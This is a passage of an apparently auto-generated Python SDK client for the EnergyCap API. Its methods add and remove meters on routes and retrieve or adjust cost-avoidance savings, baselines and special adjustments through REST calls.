edit_route.metadata = {'url': '/api/v3/route/{id}'}
def add_meter(
self, route_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Adds a meter to a route.
:param route_id: The identifier for the route to add the meters to
:type route_id: int
:param body: Object representing meter to add to the route
:type body: ~energycap.sdk.models.RouteMeter
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: RouteResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.RouteResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.add_meter.metadata['url']
path_format_arguments = {
'routeId': self._serialize.url("route_id", route_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'RouteMeter')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('RouteResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
add_meter.metadata = {'url': '/api/v3/route/{routeId}/meter'}
def remove_meter(
self, route_id, meter_id, custom_headers=None, raw=False, **operation_config):
"""Removes a meter from a route.
:param route_id: The identifier for the route the meter is being
remove from
:type route_id: int
:param meter_id: The identifier for the meter being removed
:type meter_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.remove_meter.metadata['url']
path_format_arguments = {
'routeId': self._serialize.url("route_id", route_id, 'int'),
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
remove_meter.metadata = {'url': '/api/v3/route/{routeId}/meter/{meterId}'}
def get_route_details(
self, id, custom_headers=None, raw=False, **operation_config):
"""Retrieves one route and all the meters on that route
The meters are ordered by display order.
:param id: The identifier for route being retrieved
:type id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: RouteDetailsResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.RouteDetailsResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_route_details.metadata['url']
path_format_arguments = {
'id': self._serialize.url("id", id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('RouteDetailsResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_route_details.metadata = {'url': '/api/v3/route/{id}/details'}
def get_routes_with_meters_channels_latest_reading(
self, filter=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves a list of routes with their list of meters and a list of
channels on each meter with the latest reading
Meters are returned in order they appear on a route
If the interval filter is passed and no channels match the filter, the
route is not included in the response.
:param filter:
:type filter: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype:
list[~energycap.sdk.models.RouteMeterChannelLatestReadingResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_routes_with_meters_channels_latest_reading.metadata['url']
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[RouteMeterChannelLatestReadingResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_routes_with_meters_channels_latest_reading.metadata = {'url': '/api/v3/route/meter/channel/latestReading'}
def get_savings_meter_bill_list(
self, meter_id, number_of_years=5, custom_headers=None, raw=False, **operation_config):
"""Get Savings Details of usage and cost avoidance for a meter's bills.
:param meter_id: The meter for which to retrieve data
:type meter_id: int
:param number_of_years: Number of years of data to return; includes
the current year - Defaults to 5
:type number_of_years: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.SavingsMeterBillResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_savings_meter_bill_list.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[SavingsMeterBillResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_savings_meter_bill_list.metadata = {'url': '/api/v3/savings/meter/{meterId}/bill'}
def get_savings_meter_bill(
self, meter_id, bill_id, custom_headers=None, raw=False, **operation_config):
"""Get a single Savings Details record of usage and cost avoidance for a
meter and bill.
:param meter_id: The meter for which to retrieve data
:type meter_id: int
:param bill_id: The bill for which to retrieve data
:type bill_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: SavingsMeterBillResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.SavingsMeterBillResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_savings_meter_bill.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int'),
'billId': self._serialize.url("bill_id", bill_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('SavingsMeterBillResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_savings_meter_bill.metadata = {'url': '/api/v3/savings/meter/{meterId}/bill/{billId}'}
def get_savings_meter_bill_daily(
self, meter_id, bill_id, custom_headers=None, raw=False, **operation_config):
"""Get cost avoidance savings by day for a meter and bill.
:param meter_id: The meter for which to retrieve data
:type meter_id: int
:param bill_id: The bill for which to retrieve data
:type bill_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: SavingsMeterBillDailyResponse or ClientRawResponse if
raw=true
:rtype: ~energycap.sdk.models.SavingsMeterBillDailyResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_savings_meter_bill_daily.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int'),
'billId': self._serialize.url("bill_id", bill_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('SavingsMeterBillDailyResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_savings_meter_bill_daily.metadata = {'url': '/api/v3/savings/meter/{meterId}/bill/{billId}/daily'}
def get_special_adjustment_types(
self, custom_headers=None, raw=False, **operation_config):
"""Get Special Adjustment Types.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.SpecialAdjustmentType] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_special_adjustment_types.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[SpecialAdjustmentType]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_special_adjustment_types.metadata = {'url': '/api/v3/savings/adjustment/special/type'}
def get_special_adjustment_methods(
self, custom_headers=None, raw=False, **operation_config):
"""Get Special Adjustment Methods.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.SpecialAdjustmentMethod] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_special_adjustment_methods.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[SpecialAdjustmentMethod]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_special_adjustment_methods.metadata = {'url': '/api/v3/savings/adjustment/special/method'}
def get_savings_adjusted_cost_type_list(
self, custom_headers=None, raw=False, **operation_config):
"""Gets a list of the Adjusted Cost Types.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.AdjustedCostTypeResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_savings_adjusted_cost_type_list.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[AdjustedCostTypeResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_savings_adjusted_cost_type_list.metadata = {'url': '/api/v3/savings/adjustedCostType'}
def generate_baseline(
self, meter_id, save=False, body=None, custom_headers=None, raw=False, **operation_config):
"""Executes the baseline and cost avoidance processors with provided
baseline and cost avoidance settings for the provided meter.
Results are not saved unless the "save" flag is set to true.
If "save" is true, MeterSavingsSettings-Manage permission is also
required.
:param meter_id: ID of the meter for which baseline will be
reprocessed
:type meter_id: int
:param save: If true, the baseline results will be saved to the
database
:type save: bool
:param body: Provided baseline and avoidance settings
:type body: ~energycap.sdk.models.BaselineProcessorRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: BaselineProcessorResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.BaselineProcessorResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.generate_baseline.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if save is not None:
query_parameters['save'] = self._serialize.query("save", save, 'bool')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'BaselineProcessorRequest')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('BaselineProcessorResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
generate_baseline.metadata = {'url': '/api/v3/savings/meter/{meterId}/baseline'}
def generate_baseline_get(
self, meter_id, custom_headers=None, raw=False, **operation_config):
"""Executes the baseline processor with stored baseline settings for the
provided meter.
:param meter_id: ID of the meter for which baseline data will be
returned
:type meter_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: BaselineProcessorResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.BaselineProcessorResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.generate_baseline_get.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('BaselineProcessorResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
generate_baseline_get.metadata = {'url': '/api/v3/savings/meter/{meterId}/baseline'}
def bulk_generate_baseline(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Regenerate cost avoidance baseline for the meters that match the filter
conditions and then reprocess their savings.
:param body: Settings and filter conditions for baseline processing
:type body: ~energycap.sdk.models.BulkBaselineProcessorRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: CostAvoidanceTask or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.CostAvoidanceTask or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.bulk_generate_baseline.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'BulkBaselineProcessorRequest')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('CostAvoidanceTask', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
bulk_generate_baseline.metadata = {'url': '/api/v3/savings/baseline/exec'}
def calculate_savings(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Calculate savings for the meters that match the filter conditions,
using the provided settings.
:param body: Settings and filter conditions for savings processing
:type body: ~energycap.sdk.models.CalculateSavingsRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: CostAvoidanceTask or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.CostAvoidanceTask or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.calculate_savings.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'CalculateSavingsRequest')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('CostAvoidanceTask', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
calculate_savings.metadata = {'url': '/api/v3/savings/exec'}
def manual_adjustment(
self, meter_id, bill_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Creates or removes manual adjustments to savings for a provided meter
and bill.
:param meter_id: The meter for which the manual adjustment is being
made
:type meter_id: int
:param bill_id: The bill for which the manual adjustment is being made
:type bill_id: int
:param body:
:type body: ~energycap.sdk.models.ManualAdjustmentRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.manual_adjustment.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int'),
'billId': self._serialize.url("bill_id", bill_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ManualAdjustmentRequest')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
manual_adjustment.metadata = {'url': '/api/v3/savings/meter/{meterId}/bill/{billId}/manualadjustment'}
def get_special_adjustments(
self, meter_id, custom_headers=None, raw=False, **operation_config):
"""Get all the special adjustments for the meter.
:param meter_id: The meter for which to return special adjustment
:type meter_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.SpecialAdjustmentResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_special_adjustments.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[SpecialAdjustmentResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_special_adjustments.metadata = {'url': '/api/v3/savings/meter/{meterId}/adjustment/special'}
def create_special_adjustment(
self, meter_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Create a new special adjustment
Meter Cost Avoidance Savings will be re-calculated.
:param meter_id: The meter for which to create a special adjustment
:type meter_id: int
:param body: Data representing the special adjustment being created
:type body: ~energycap.sdk.models.SpecialAdjustmentCreate
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: SpecialAdjustmentResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.SpecialAdjustmentResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_special_adjustment.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'SpecialAdjustmentCreate')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('SpecialAdjustmentResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_special_adjustment.metadata = {'url': '/api/v3/savings/meter/{meterId}/adjustment/special'}
def get_special_adjustment(
self, meter_id, special_adjustment_id, custom_headers=None, raw=False, **operation_config):
"""Get a single special adjustment by its unique ID.
:param meter_id: The meter for which to return the special adjustment
:type meter_id: int
:param special_adjustment_id: Unique ID of the special adjustment to
return
:type special_adjustment_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: SpecialAdjustmentResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.SpecialAdjustmentResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_special_adjustment.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int'),
'specialAdjustmentId': self._serialize.url("special_adjustment_id", special_adjustment_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('SpecialAdjustmentResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_special_adjustment.metadata = {'url': '/api/v3/savings/meter/{meterId}/adjustment/special/{specialAdjustmentId}'}
def delete_special_adjustment_by_id(
self, meter_id, special_adjustment_id, custom_headers=None, raw=False, **operation_config):
"""Delete a special adjustment
Meter Cost Avoidance Savings will be re-calculated.
:param meter_id: The meter from which to delete the special adjustment
:type meter_id: int
:param special_adjustment_id: The special adjustment to delete
:type special_adjustment_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_special_adjustment_by_id.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int'),
'specialAdjustmentId': self._serialize.url("special_adjustment_id", special_adjustment_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_special_adjustment_by_id.metadata = {'url': '/api/v3/savings/meter/{meterId}/adjustment/special/{specialAdjustmentId}'}
def edit_special_adjustment(
self, meter_id, special_adjustment_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edit a special adjustment
Meter Cost Avoidance Savings will be re-calculated.
:param meter_id: The meter with the special adjustment to edit
:type meter_id: int
:param special_adjustment_id: The special adjustment to edit
:type special_adjustment_id: int
:param body: Data representing the special adjustment being edited
:type body: ~energycap.sdk.models.SpecialAdjustmentEdit
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: SpecialAdjustmentResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.SpecialAdjustmentResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_special_adjustment.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int'),
'specialAdjustmentId': self._serialize.url("special_adjustment_id", special_adjustment_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'SpecialAdjustmentEdit')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('SpecialAdjustmentResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_special_adjustment.metadata = {'url': '/api/v3/savings/meter/{meterId}/adjustment/special/{specialAdjustmentId}'}
def create_other_savings(
self, meter_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Create an other savings adjustment
Meter Cost Avoidance Savings will be re-calculated.
:param meter_id: The meter for which the other savings is being
created
:type meter_id: int
:param body: Data representing the other savings adjustment being
created
:type body: ~energycap.sdk.models.OtherSavingsRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: OtherSavingsResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.OtherSavingsResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_other_savings.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
